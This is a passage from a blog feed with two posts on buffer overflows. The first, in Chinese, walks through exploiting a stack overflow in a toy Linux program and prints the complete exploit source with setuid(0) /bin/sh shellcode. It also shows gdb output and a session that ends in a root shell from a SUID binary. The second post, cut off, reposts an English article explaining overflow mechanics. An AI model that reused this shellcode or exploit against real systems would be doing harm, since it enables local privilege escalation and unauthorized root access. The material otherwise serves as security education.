则轮到main函数恢复它的调用函数的栈帧时, 0xbffff600&lt;br&gt;      就变成了该函数的栈顶esp, 从里面弹出来的ebp和返回地址就不对了(如我们现在的情况).&lt;br&gt;      同时我们也知道一个字节--8位, 其最大值为FF--255, 如果缓冲区的大小大于或等于256, 那么&lt;br&gt;      这个0xbffff600就有可能指向缓冲区内, 这里存在着另外一种利用的契机. 但是发生的概率太小&lt;br&gt;       了, 这里不再继续讨论.&lt;br&gt;&lt;br&gt;      如果我们把输入字串加多4个字节(16个&quot;A&quot;), 那么在内存地址0xbffff6e0处的返回地址0x08048443&lt;br&gt;      将会变为0x08048400, 我们对这个地址的内容反汇编还看看.&lt;br&gt;      (gdb) disas 0x08048400&lt;br&gt;      Dump of assembler code for function vulFunc:&lt;br&gt;       0x8048400 &lt;vulFunc&gt;:    push   %ebp&lt;br&gt;      0x8048401 &lt;vulFunc+1&gt;:  mov    %esp,%ebp&lt;br&gt;      0x8048403 &lt;vulFunc+3&gt;:  sub    $0xc,%esp&lt;br&gt;      0x8048406 &lt;vulFunc+6&gt;:  mov    0x8(%ebp),%eax&lt;br&gt;       0x8048409 &lt;vulFunc+9&gt;:  push   %eax&lt;br&gt;      0x804840a &lt;vulFunc+10&gt;: lea    0xfffffff4(%ebp),%eax&lt;br&gt;      0x804840d &lt;vulFunc+13&gt;: push   %eax&lt;br&gt;      0x804840e &lt;vulFunc+14&gt;: call   0x8048340 &lt;strcpy&gt;&lt;br&gt;       0x8048413 &lt;vulFunc+19&gt;: add    $0x8,%esp&lt;br&gt;      0x8048416 &lt;vulFunc+22&gt;: lea    0xfffffff4(%ebp),%eax&lt;br&gt;      0x8048419 &lt;vulFunc+25&gt;: push   %eax&lt;br&gt;      0x804841a &lt;vulFunc+26&gt;: push   $0x80484b0&lt;br&gt;       0x804841f &lt;vulFunc+31&gt;: call   0x8048330 &lt;printf&gt;&lt;br&gt;      0x8048424 &lt;vulFunc+36&gt;: add    $0x8,%esp&lt;br&gt;      0x8048427 &lt;vulFunc+39&gt;: leave&lt;br&gt;      0x8048428 &lt;vulFunc+40&gt;: ret&lt;br&gt;      0x8048429 &lt;vulFunc+41&gt;: lea    0x0(%esi),%esi&lt;br&gt;       End of assembler dump.&lt;br&gt;&lt;br&gt;      这个地址刚好是vulFunc函数的入口, 也就是说vulFunc函数会再次被调用后出错.&lt;br&gt;      不信的话, 可以试试.&lt;br&gt;      bash$ ./p `perl -e &#39;print &quot;A&quot;x16&#39;`&lt;br&gt;      看输出什么了.&lt;br&gt;&lt;br&gt;      再用多4个字节, 就会完全用41414141来复盖返回地址了.&lt;br&gt;       bash$ ./p `perl -e &#39;print &quot;A&quot;x20&#39;`&lt;br&gt;      String=AAAAAAAAAAAAAAAAAAAA&lt;br&gt;      Segmentation fault (core dumped)&lt;br&gt;      bash$ gdb -c core&lt;br&gt;      GNU gdb 19991004&lt;br&gt;      Copyright 1998 Free Software Foundation, Inc.&lt;br&gt;       GDB is free software, covered by the GNU General Public License, and you are&lt;br&gt;      welcome to change it and/or distribute copies of it under certain conditions.&lt;br&gt;      Type &quot;show copying&quot; to see the conditions.&lt;br&gt;       There is absolutely no warranty for GDB.  Type &quot;show warranty&quot; for details.&lt;br&gt;      This GDB was configured as &quot;i386-redhat-linux&quot;.&lt;br&gt;      Core was generated by `./p AAAAAAAAAAAAAAAAAAAA&#39;.&lt;br&gt;       Program terminated with signal 11, Segmentation fault.&lt;br&gt;      #0  0x41414141 in ?? ()&lt;br&gt;      (gdb) bt&lt;br&gt;      #0  0x41414141 in ?? ()&lt;br&gt;      Cannot access memory at address 0x41414141&lt;br&gt;      (gdb) i reg&lt;br&gt;       eax            0x1c     28&lt;br&gt;      ecx            0x400    1024&lt;br&gt;      edx            0x4010a980       1074833792&lt;br&gt;      ebx            0x4010c1ec       1074840044&lt;br&gt;      esp            0xbffff6d4       -1073744172&lt;br&gt;       ebp            0x41414141       1094795585&lt;br&gt;      esi            0x4000ae60       1073786464&lt;br&gt;      edi            0xbffff724       -1073744092&lt;br&gt;      eip            0x41414141       1094795585&lt;br&gt;      eflags         0x10296  66198&lt;br&gt;       (以下省略)&lt;br&gt;&lt;br&gt;      看到&quot;金光闪闪&quot;的41414141在eip里了.&lt;br&gt;&lt;br&gt;      所以要想复盖返回地址, 应该在缓冲区的第16个位置开始填入4个字节的返回地址值.&lt;br&gt;&lt;br&gt;      有时候&quot;土法&quot;的确是可以炼出&quot;钢&quot;来的 ;)&lt;br&gt;&lt;br&gt;      知道了这个后, 就得看看如何利用了.&lt;br&gt;&lt;br&gt;   3) 如何攻击?&lt;br&gt;       我们已经知道应该把返回地址的值放在字串中那个位置就可以复盖eip了.&lt;br&gt;      但我们还有一件很关键的事没有做--就是如何确定我们要复盖的返回地址的值?--即: 用什么值去复盖?&lt;br&gt;      而这个值一定要指向我们准备好的shell code的人口.&lt;br&gt;&lt;br&gt;      shell code在Internet上有很多, 我们就随便拿一个好一点的来用就行了, 没必要自己去写,&lt;br&gt;      除非不得已.&lt;br&gt; &lt;br&gt;      这个shell code是要做为我们输入的字符串的一部分提供给命令p的.&lt;br&gt;&lt;br&gt;      我们也知道当一个进程在运行时, 其在相同的shell环境(包括命令行参数)下, 在程序中的某个&lt;br&gt;      地方的esp的值是不变的. 我们只要找出这个值, 以它做为基准, 然后再根据调试时得出的结果&lt;br&gt;      来计算出我们要填的返回地址就可以了.&lt;br&gt;&lt;br&gt;      我们同时也应该知道, 由于我们是在exploit程序中用exec系列函数来调用命令p的, 当exec系列&lt;br&gt;       函数调用成功时, 我们的exploit程序进程的内存影像就完全被命令p的进程内存影像所替代了.&lt;br&gt;      这一点一定要弄清楚, 因为我们是&quot;低手&quot;, 所以要弄明白.&lt;br&gt;&lt;br&gt;      换句话来说, 我们在exploit程序的进程里得到的esp根本就不是p程序进程运行时的esp,&lt;br&gt;      虽然它们之间的差相对来说是稳定的.&lt;br&gt;      而且我们根本没法在命令p的进程运行时得到esp的值, 我们只能根据exploit程序的进程的esp值来&lt;br&gt;       猜, 即: 根据它来猜出我们提供给命令p的shell code在命令p运行时的进程内存空间中的位置,&lt;br&gt;      也就是在p进程中存放shell code的起始地址--我们的入口. 而这种猜, 是通过调试来完成的.&lt;br&gt;      为了提高中标机会, 我们在入口的前面要尽量填上足够多的NOP, 把面放大一点, 就容易中了.&lt;br&gt;&lt;br&gt;      我们设计的缓冲区内容为如下形式:&lt;br&gt;&lt;br&gt;      (内存低址) ...[16个非零字符(就用0x41吧)][返回地址(4个字节)][若干个0x90(NOP)][shellcode]... (内存高址)&lt;br&gt;                                                    |                    ^&lt;br&gt;                                                   |____________________|&lt;br&gt;&lt;br&gt;      只要我们的猜到的返回地址值能落到存放那若干个NOP的地址空间里就大功告成了.&lt;br&gt;&lt;br&gt;      这里有必要讲一下exploit程序(如我们下面的myex)进程和由它用execl系列函数执行的p进程之间的&lt;br&gt;       关系.&lt;br&gt;&lt;br&gt;      其实exploit进程调用execl函数成功运行p进程后, exploit进程的内存影像已完全被p进程的内存影&lt;br&gt;      像所替代. exploit进程已不复存在. 在exploit进程中调用get_esp()函数所得到的esp值并不是p进&lt;br&gt;      程溢出时的esp值, 而是exploit进程当时的esp值. 而这个值只是进程运行时栈的地址空间中的某个&lt;br&gt;      地址值.&lt;br&gt; &lt;br&gt;      在相同的系统环境下, 这两个进程的栈的地址空间是一样的. 换句话来说, 知道了exploit进程的栈&lt;br&gt;      空间中的某个地址值, 我们就等于知道了p进程的栈空间的某个地址值了, 然后再根据这个值来计算&lt;br&gt;      出我们的shellcode的入口地址. 而且这个地址和我们的shellcode的入口地址往往就相差不远, 只要&lt;br&gt;      稍为调整一下就行了.&lt;br&gt;&lt;br&gt;      以下为示意图(shellcode入口地址低于得到的esp的情况, 高于的情况同理):&lt;br&gt; &lt;br&gt;       exploit进程影像               p进程影像&lt;br&gt;         +--------+    (内存高址)   +--------+&lt;br&gt;         | ...... |                 | ...... |&lt;br&gt;         +--------+                 +--------+&lt;br&gt;         | ...... |                 | ...... |&lt;br&gt;            ......                     ......&lt;br&gt;         | ...... |                 |SSSSSSSS|\&lt;br&gt;         +--------+                 +--------+ \&lt;br&gt;         | ...... |                 |SSSSSSSS|  \&lt;br&gt;         +--------+                 +--------+   \&lt;br&gt;          | ...... |                 |SSSSSSSS|  shell code&lt;br&gt;         +--------+ &lt;---- esp ----&gt; +--------+   /&lt;br&gt;         | ...... |             |   |SSSSSSSS|  /&lt;br&gt;         +--------+             |   +--------+ /&lt;br&gt;          | ...... |          offset |SSSSSSSS|/&lt;br&gt;         +--------+             |   +--------+&lt;br&gt;         | ...... |             |   |90909090|\&lt;br&gt;           ......               ---&gt;  ......   若干个NOP&lt;br&gt;         | ...... |                 |90909090|/&lt;br&gt;          +--------+                 +--------+&lt;br&gt;         | ...... |                 |返回地址|&lt;br&gt;         +--------+                 +--------+&lt;br&gt;         | ...... |                 |41414141|&lt;br&gt;           ......                     ......&lt;br&gt;          | ...... |                 | ...... |&lt;br&gt;         +--------+                 +--------+&lt;br&gt;         | ...... |                 | ...... |&lt;br&gt;         +--------+   (内存低址)    +--------+&lt;br&gt;&lt;br&gt;          注: 图中的offset为myex.c中的ESP_RET_DIFF; 返回地址=get_esp()-offset.&lt;br&gt;               shellcode的入口高于esp的情况: 返回地址=get_esp+offset.&lt;br&gt;&lt;br&gt;      讲了那么多, 还是让我们现在就动手吧 ;)&lt;br&gt;&lt;br&gt;      以下是我们用来攻击命令p的exploit程序.&lt;br&gt;&lt;br&gt;/*&lt;br&gt;*      文件名    : myex.c&lt;br&gt;*      编译    : gcc -o myex myex.c&lt;br&gt;*&lt;br&gt;*      说明    : 这是在virtualcat关于如何编写Linux下的exploit程序介绍中用来攻击&lt;br&gt; *                 有问题的程序p的程序示范源代码&lt;br&gt;*                 有关程序p的源代码请参见同一文章中的p.c&lt;br&gt;*                 如果有什么问题, 请与virtualcat联系: &lt;a href=&quot;mailto:virtualcat@hotmail.com&quot;&gt;virtualcat@hotmail.com&lt;/a&gt;&lt;br&gt;*&lt;br&gt;*                 这个程序要求把相应的宏 ESP_RET_DIFF 的定义改为 -116到 -16之间的值才能正常工作,&lt;br&gt; *                 不然的话, 要通过命令行参数来进行调整, 原因请参见见文章中的分析.&lt;br&gt;*&lt;br&gt;*                 此程序在Redhat 6.2 Linux 2.2.14-12 上调试通过.&lt;br&gt;*&lt;br&gt;*/&lt;br&gt;&lt;br&gt;#include &lt;stdio.h&gt;&lt;br&gt;&lt;br&gt;#define    RET_DIS        16    // Displacement to replace the return address&lt;br&gt; #define    NOP        0x90    // Machine code for no operation&lt;br&gt;#define    NNOP        100    // Number of NOPs&lt;br&gt;#define    ESP_RET_DIFF    0 --&gt; Need to apply an appropriate value here. (-60 shoul work)&lt;br&gt;&lt;br&gt;char shellCode[] =     &quot;\x31\xdb\x89\xd8\xb0\x17\xcd\x80&quot;     /* setuid(0) */&lt;br&gt;             &quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c&quot;&lt;br&gt;                     &quot;\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb&quot;&lt;br&gt;                     &quot;\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh&quot;;&lt;br&gt; &lt;br&gt;int get_esp()&lt;br&gt;{&lt;br&gt;    __asm__(&quot;mov %esp, %eax&quot;);&lt;br&gt;}&lt;br&gt;&lt;br&gt;int main(int argc, char **argv)&lt;br&gt;{&lt;br&gt;    char*    charPtr = NULL;&lt;br&gt;    char*    bufferPtr = NULL;&lt;br&gt;    int*    intPtr = NULL;&lt;br&gt;&lt;br&gt;    int shellCodeLength = strlen(shellCode);&lt;br&gt;     int bufferSize = RET_DIS + NNOP + shellCodeLength + 1;&lt;br&gt;&lt;br&gt;    int retAddr = 0;&lt;br&gt;    int adjustment = 0;&lt;br&gt;    int i;&lt;br&gt;    int esp = get_esp();&lt;br&gt;&lt;br&gt;    if(argc &gt;= 2)&lt;br&gt;    {&lt;br&gt;        adjustment = atoi(argv[1]);&lt;br&gt;     }&lt;br&gt;&lt;br&gt;    retAddr = esp + ESP_RET_DIFF + adjustment;&lt;br&gt;&lt;br&gt;    bufferPtr = (char *) malloc(bufferSize);&lt;br&gt;&lt;br&gt;    if(bufferPtr != NULL)&lt;br&gt;    {&lt;br&gt;        /* Fill the whole buffer with &#39;A&#39; */&lt;br&gt;        memset(bufferPtr, 0x41, bufferSize);&lt;br&gt; &lt;br&gt;        /* Butt in our return address */&lt;br&gt;        intPtr = (int *) (bufferPtr + RET_DIS);&lt;br&gt;        *intPtr++ = retAddr;&lt;br&gt;        charPtr = (char *) intPtr;&lt;br&gt;&lt;br&gt;        /* To increase the probabilty of hitting the jackpot */&lt;br&gt;         for(i=0; i&lt;NNOP; i++)&lt;br&gt;        {&lt;br&gt;            *charPtr++ = NOP;&lt;br&gt;        }&lt;br&gt;&lt;br&gt;        /* Butt in the shell code */&lt;br&gt;        for(i=0; i&lt;shellCodeLength; i++)&lt;br&gt;        {&lt;br&gt;            *charPtr++ = shellCode[i];&lt;br&gt;         }&lt;br&gt;        *charPtr = 0;    /* Null terminated - Not necessary but nice to have */&lt;br&gt;&lt;br&gt;        printf(&quot;esp=0x%.8x, adjustment=%d, jump to 0x%.8x. Have fun!\n&quot;, esp, adjustment, retAddr);&lt;br&gt;&lt;br&gt;        /* Try to hit the jackpot */&lt;br&gt;         execl(&quot;./p&quot;, &quot;p&quot;, bufferPtr, NULL);&lt;br&gt;    }&lt;br&gt;    else&lt;br&gt;    {&lt;br&gt;        printf(&quot;No more free memory!\n&quot;);&lt;br&gt;    }&lt;br&gt;}&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;      好, 我们来编译运行看看.&lt;br&gt;      bash$ gcc -o myex myex.c&lt;br&gt;       bash$ ./myex&lt;br&gt;      esp=0xbffff6b8, adjustment=0, jump to 0xbffff6b8. Have fun!&lt;br&gt;      String=AAAAAAAAAAAAAAAA个?F燜   V&lt;br&gt;                             ? N蜖1蹱谸蜖柢???/bin/sh&lt;br&gt;      Segmentation fault (core dumped)&lt;br&gt; &lt;br&gt;      可以看到, exploit进程的esp等于0xbffff6b8, 在p的进程空间中要跳到那里去执行不成功 :(&lt;br&gt;&lt;br&gt;      让我们来看一看到底是为什么?&lt;br&gt;      bash$ gdb -c core&lt;br&gt;      GNU gdb 19991004&lt;br&gt;      Copyright 1998 Free Software Foundation, Inc.&lt;br&gt;      GDB is free software, covered by the GNU General Public License, and you are&lt;br&gt;       welcome to change it and/or distribute copies of it under certain conditions.&lt;br&gt;      Type &quot;show copying&quot; to see the conditions.&lt;br&gt;      There is absolutely no warranty for GDB.  Type &quot;show warranty&quot; for details.&lt;br&gt;       This GDB was configured as &quot;i386-redhat-linux&quot;.&lt;br&gt;      Core was generated by `p AAAAAAAAAAAAAAAA个??Program terminated with signal 11, Segmentation fault.&lt;br&gt;      #0  0xbffff6b8 in ?? ()&lt;br&gt;      (gdb) bt&lt;br&gt;       #0  0xbffff6b8 in ?? ()&lt;br&gt;      Cannot access memory at address 0x41414141&lt;br&gt;      (gdb) i reg&lt;br&gt;      eax            0xb5     181&lt;br&gt;      ecx            0x400    1024&lt;br&gt;      edx            0x4010a980 1074833792&lt;br&gt;       ebx            0x4010c1ec 1074840044&lt;br&gt;      esp            0xbffff644 -1073744316&lt;br&gt;      ebp            0x41414141 1094795585&lt;br&gt;      esi            0x4000ae60 1073786464&lt;br&gt;      edi            0xbffff694 -1073744236&lt;br&gt;       eip            0xbffff6b8 -1073744200&lt;br&gt;      eflags         0x10296  66198&lt;br&gt;      (以下省略)&lt;br&gt;      ...&lt;br&gt;&lt;br&gt;      可以看到ebp被我们用41414141复盖了; eip也让我们用0xbffff6b8复盖了, 但它肯定不是我们的&lt;br&gt;      shell code的入口地址, 否则已经成功了.&lt;br&gt;&lt;br&gt;       我们来查一下.&lt;br&gt;      (gdb) x/64x $esp-32&lt;br&gt;      0xbffff624:     0x08048424      0x080484b0      0xbffff630      0x41414141&lt;br&gt;      0xbffff634:     0x41414141      0x41414141      0x41414141      0xbffff6b8&lt;br&gt;      0xbffff644:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br&gt;       0xbffff654:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br&gt;      0xbffff664:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br&gt;      0xbffff674:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br&gt;       0xbffff684:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br&gt;      0xbffff694:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br&gt;      0xbffff6a4:     0x90909090      0xd889db31      0x80cd17b0      0x895e1feb&lt;br&gt;       0xbffff6b4:     0xc0310876      0x89074688      0x0bb00c46      0x4e8df389&lt;br&gt;      0xbffff6c4:     0x0c568d08      0xdb3180cd      0xcd40d889      0xffdce880&lt;br&gt;      0xbffff6d4:     0x622fffff      0x732f6e69      0xbfff0068      0xbffffb75&lt;br&gt;       0xbffff6e4:     0xbffffb83      0xbffffc8d      0xbffffc99      0xbffffcaa&lt;br&gt;      0xbffff6f4:     0xbffffcbf      0xbffffccf      0xbffffcda      0xbffffcf2&lt;br&gt;      0xbffff704:     0xbffffd10      0xbffffd29      0xbffffd34      0xbffffd3e&lt;br&gt;       0xbffff714:     0xbffffd87      0xbffffd94      0xbffffdbb      0xbffffdcc&lt;br&gt;&lt;br&gt;      哎呀! 我们的shell code的入口地址在0xbffff644, 怪不得跳到0xbffff6b8去执行不可以了.&lt;br&gt;      不行, 要把0xbffff6b8改成0xbffff644到0xbffff6a7这一片地址空间中的任何一个地址才行.&lt;br&gt; &lt;br&gt;      0xbffff6b8-0xbffff644=0x74=116, 0xbffff6b8-0xbffff6a8=0x10=16. 所以返回地址要落在&lt;br&gt;      0xbffff6b8-n, n属于[16, 116]才行--也就是我们那边100个NOP的范围内.&lt;br&gt;      注: 具体的区间是多少, 由不同的系统环境决定.&lt;br&gt;&lt;br&gt;      我们做最好的打算, 保险一点, 就取其中间值吧, 取60. 把上面程序中的ESP_RET_DIFF 改为 -60.&lt;br&gt; &lt;br&gt;      编译运行.&lt;br&gt;      bash$ ps&lt;br&gt;      PID TTY          TIME CMD&lt;br&gt;      1559 pts/1    00:00:01 bash&lt;br&gt;      2047 pts/1    00:00:00 ps&lt;br&gt;      bash$ ./myex&lt;br&gt;      esp=0xbffff6b8, adjustment=0, jump to 0xbffff6a8. Have fun!&lt;br&gt;       String=AAAAAAAAAAAAAAAA??F燜   V&lt;br&gt;                                   ? N蜖1蹱谸蜖柢???/bin/sh&lt;br&gt;      bash$ ps                      狊&lt;br&gt;      PID TTY          TIME CMD&lt;br&gt;      1559 pts/1    00:00:01 bash&lt;br&gt;      2048 pts/1    00:00:00 sh&lt;br&gt;       2049 pts/1    00:00:00 ps&lt;br&gt;&lt;br&gt;      哈! 得到shell了.&lt;br&gt;&lt;br&gt;      bash$ exit&lt;br&gt;      exit&lt;br&gt;      bash$&lt;br&gt;&lt;br&gt;      为了检验, 我们把p和myex拷贝到另一台Linux(Redhat)机器上, 并把文件p改成SUID root 的文件,&lt;br&gt;      然后 ...&lt;br&gt;&lt;br&gt;      bash$ su root&lt;br&gt;       Password:&lt;br&gt;      bash# chown root:sys p&lt;br&gt;      bash# chmod 4555 p&lt;br&gt;      bash# ls -la p&lt;br&gt;      -r-sr-xr-x    1 root     sys         11941 Apr 28 18:31 p&lt;br&gt;      bash# exit&lt;br&gt;      exit&lt;br&gt;      bash$ id&lt;br&gt;       uid=500(vcat) gid=500(vcat) groups=500(vcat)&lt;br&gt;      bash$ ./myex&lt;br&gt;      esp=0xbffffac8, adjustment=0, jump to 0xbffffa8c. Have fun!&lt;br&gt;      String=AAAAAAAAAAAAAAAA狕?F燜   V&lt;br&gt;                             ? N蜖1蹱谸蜖柢???/bin/sh&lt;br&gt;       bash# id                      狊&lt;br&gt;      uid=0(root) gid=500(vcat) groups=500(vcat)&lt;br&gt;      bash#&lt;br&gt;&lt;br&gt;      哈哈! 中彩票了.&lt;br&gt;&lt;br&gt;&lt;br clear=&quot;all&quot;&gt;&lt;br&gt;-- &lt;br&gt;边 江 (Border)&lt;br&gt;Blog: &lt;a href=&quot;http://www.borderj.cn&quot;&gt;www.borderj.cn&lt;/a&gt;&lt;br&gt; MSN: &lt;a href=&quot;mailto:borderj@live.com&quot;&gt;borderj@live.com&lt;/a&gt;&lt;br&gt; &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-7693874506855934462?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/04/hacking-linux-buffer-overflow.html</link><author>borderj@gmail.com (Border)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-7300960544402317521</guid><pubDate>Tue, 01 Apr 2008 16:09:00 +0000</pubDate><atom:updated>2008-04-02T00:09:42.264+08:00</atom:updated><title>『Hacking』 Analysis of Buffer Overflow Attacks</title><description>&lt;br&gt;&lt;ul&gt;&lt;li&gt;&lt;span&gt;Section:&lt;/span&gt;            &lt;strong&gt;&lt;a href=&quot;http://www.windowsecurity.com/articles/windows_os_security/&quot;&gt;Articles :: Windows OS Security&lt;/a&gt;&lt;/strong&gt;        &lt;/li&gt;&lt;li&gt;&lt;span&gt;Author:&lt;/span&gt;            &lt;strong&gt;Maciej Ogorkiewicz &amp; Piotr Frej&lt;/strong&gt;&lt;/li&gt;&lt;/ul&gt;From：&lt;a href=&quot;http://www.windowsecurity.com/articles/Analysis_of_Buffer_Overflow_Attacks.html&quot;&gt;http://www.windowsecurity.com/articles/Analysis_of_Buffer_Overflow_Attacks.html&lt;/a&gt;&lt;br&gt; &lt;br&gt;&lt;div id=&quot;art-descr&quot;&gt; What causes the buffer overflow condition? Broadly speaking, buffer overflow occurs anytime the program writes more information into the buffer than the space it has allocated in the memory. This allows an attacker to overwrite data that controls the program execution path and hijack the control of the program to execute the attacker&#39;s code instead the process code. For those who are curious to see how this works, we will now attempt to examine in more detail the mechanism of this attack and also to outline certain preventive measures. &lt;/div&gt;  &lt;div id=&quot;art-header&quot;&gt;   &lt;/div&gt;      &lt;p&gt;What causes the buffer overflow condition? Broadly speaking, buffer overflow occurs anytime the program writes more information into the buffer than the space it has allocated in the memory. This allows an attacker to overwrite data that controls the program execution path and hijack the control of the program to execute the attacker&#39;s code instead the process code. For those who are curious to see how this works, we will now attempt to examine in more detail the mechanism of this attack and also to outline certain preventive measures.&lt;/p&gt; &lt;p&gt;From experience we know that many have heard about these attacks, but few really understand the mechanics of them. Others have a vague idea or none at all of what an overflow buffer attack is. There also those who consider this problem to fall under a category of secret wisdom and skills available only to a narrow segment of specialists. However this is nothing except for a vulnerability problem brought about by careless programmers. &lt;/p&gt; &lt;p&gt;Programs written in C language, where more focus is given to the programming efficiency and code length than to the security aspect, are most susceptible to this type of attack. In fact, in programming terms, C language is considered to be very flexible and powerful, but it seems that although this tool is an asset it may become a headache for many novice programmers. It is enough to mention a pointer-based call by direct memory reference mode or a text string approach. This latter implies a situation that even among library functions working on text strings, there are indeed those that cannot control the length of the real buffer thereby becoming susceptible to an overflow of the declared length.&lt;/p&gt; &lt;p&gt;Before attempting any further analysis of the mechanism by which the attack progresses, let us develop a familiarity with some technical aspects regarding program execution and memory management functions.&lt;/p&gt; &lt;h2&gt;Process Memory&lt;/h2&gt; &lt;p&gt;When a program is executed, its various compilation units are mapped in memory in a well-structured manner. Fig. 1 represents the memory layout.&lt;/p&gt; &lt;blockquote dir=&quot;ltr&quot; style=&quot;margin-right: 0px;&quot;&gt; &lt;p&gt;&lt;em&gt;Fig. 1: Memory arrangement&lt;/em&gt;&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;http://www.windowsecurity.com/img/upl/11037013868651.jpg&quot;&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p dir=&quot;ltr&quot;&gt;&lt;em&gt;Legend:&lt;/em&gt;&lt;/p&gt; &lt;p&gt;The &lt;em&gt;text&lt;/em&gt; segment contains primarily the program code, i.e., a series of executable program instructions. The next segment is an area of memory containing both initialized and uninitialized global data. Its size is provided at compilation time. Going further into the memory structure toward higher addresses, we have a portion shared by the stack and &lt;em&gt;heap&lt;/em&gt; that, in turn, are allocated at run time. The &lt;em&gt;stack&lt;/em&gt; is used to store function call-by arguments, local variables and values of selected registers allowing it to retrieve the program state. The &lt;em&gt;heap&lt;/em&gt; holds dynamic variables. To allocate memory, the heap uses the &lt;em&gt;malloc&lt;/em&gt; function or the &lt;em&gt;new&lt;/em&gt; operator.&lt;/p&gt; &lt;h2&gt;What is the stack used for?&lt;/h2&gt; &lt;p&gt;The stack works according to a LIFO model (Last In First Out). Since the spaces within the stack are allocated for the lifetime of a function, only data that is active during this lifetime can reside there. Only this type of structure results from the essence of a structural approach to programming, where the code is split into many code sections called functions or procedures. When a program runs in memory, it sequentially calls each individual procedure, very often taking one from another, thereby producing a multi-level chain of calls. Upon completion of a procedure it is required for the program to continue execution by processing the instruction immediately following the CALL instruction. In addition, because the calling function has not been terminated, all its local variables, parameters and execution status require to be &quot;frozen&quot; to allow the remainder of the program to resume execution immediately after the call. The implementation of such a stack will guarantee that the behavior described here is exactly the same. &lt;/p&gt; &lt;h2&gt;Function calls&lt;/h2&gt; &lt;p&gt;The program works by sequentially executing CPU instructions. For this purpose the CPU has the Extended Instruction Counter (EIP register) to maintain the sequence order. It controls the execution of the program, indicating the address of the next instruction to be executed. For example, running a jump or calling a function causes the said register to be appropriately modified. Suppose that the EIP calls itself at the address of its own code section and proceeds with execution. What will happen then?&lt;/p&gt; &lt;p&gt;When a procedure is called, the return address for function call, which the program needs to resume execution, is put into the stack. Looking at it from the attacker&#39;s point of view, this is a situation of key importance. If the attacker somehow managed to overwrite the return address stored on the stack, upon termination of the procedure, it would be loaded into the EIP register, potentially allowing any overflow code to be executed instead of the process code resulting from the normal behavior of the program. We may see how the stack behaves after the code of Listing 1 has been executed.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Listing1&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;void f(int a, int b)&lt;/p&gt; &lt;p&gt;{&lt;/p&gt; &lt;p&gt;char buf[10];&lt;/p&gt; &lt;p&gt;// &lt;-- the stack is watched here&lt;/p&gt; &lt;p&gt;}&lt;/p&gt; &lt;p&gt;void main()&lt;/p&gt; &lt;p&gt;{&lt;/p&gt; &lt;p&gt;f(1, 2);&lt;/p&gt; &lt;p&gt;}&lt;/p&gt; &lt;p&gt;After the function &lt;i&gt;f() &lt;/i&gt;is entered, the stack looks like the illustration in Figure 2.&lt;/p&gt; &lt;blockquote dir=&quot;ltr&quot; style=&quot;margin-right: 0px;&quot;&gt; &lt;p&gt;&lt;em&gt;Fig. 2 Behavior of the stack during execution of a code from Listing 1&lt;/em&gt;&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;http://www.windowsecurity.com/img/upl/21036772672648.jpg&quot;&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&lt;em&gt;Legend:&lt;/em&gt;&lt;/p&gt; &lt;p&gt;Firstly, the function arguments are pushed backwards in the stack (in accordance with the C language rules), followed by the return address. From now on, the function &lt;em&gt;f()&lt;/em&gt; takes the return address to exploit it. &lt;em&gt;f()&lt;/em&gt; pushes the current EBP content (EBP will be discussed further below) and then allocates a portion of the stack to its local variables. Two things are worth noticing. Firstly, the stack grows downwards in memory as it gets bigger. It is important to remember, because a statement like this:&lt;/p&gt; &lt;p&gt;sub esp, 08h&lt;/p&gt; &lt;p&gt;That causes the stack to grow, may seem confusing. In fact, the bigger the ESP, the smaller the stack size and vice versa. An apparent paradox.&lt;/p&gt; &lt;p&gt;Secondly, whole 32-bit words are pushed onto the stack. Hence, a 10-character array occupies really three full words, i.e. 12 bytes.&lt;/p&gt; &lt;h2&gt;How does the stack operate?&lt;/h2&gt; &lt;p&gt;There are two CPU registers that are of &quot;vital&quot; importance for the functioning of the stack which hold information that is necessary when calling data residing in the memory. Their names are ESP and EBP. The ESP (Stack Pointer) holds the top stack address. ESP is modifiable and can be modified either directly or indirectly. Directly – since direct operations are executable here, for example, add esp, 08h. This causes shrinking of the stack by 8 bytes (2 words). Indirectly – by adding/removing data elements to/from the stack with each successive PUSH or POP stack operation. The EBP register is a basic (static) register that points to the stack bottom. More precisely it contains the address of the stack bottom as an offset relative to the executed procedure. Each time a new procedure is called, the old value of EBP is the first to be pushed onto the stack and then the new value of ESP is moved to EBP. This new value of ESP held by EBP becomes the reference base to local variables that are needed to retrieve the stack section allocated for function call {1}.&lt;/p&gt; &lt;p&gt;Since ESP points to the top of the stack, it gets changed frequently during the execution of a program, and having it as an offset reference register is very cumbersome. That is why EBP is employed in this role.&lt;/p&gt; &lt;h2&gt;The threat&lt;/h2&gt; &lt;p&gt;How to recognize where an attack may occur? We just know that the return address is stored on the stack. Also, data is handled in the stack. Later we will learn what happens to the return address if we consider a combination, under certain circumstances, of both facts. With this in mind, let us try with this simple application example using Listing 2.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Listing 2&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;#include &lt;/p&gt; &lt;p&gt;char *code = &quot;AAAABBBBCCCCDDD&quot;; //including the character &#39;\0&#39; size = 16 bytes&lt;/p&gt; &lt;p&gt;void main()&lt;/p&gt; &lt;p&gt;{&lt;/p&gt; &lt;p&gt;char buf[8];&lt;/p&gt; &lt;p&gt;strcpy(buf, 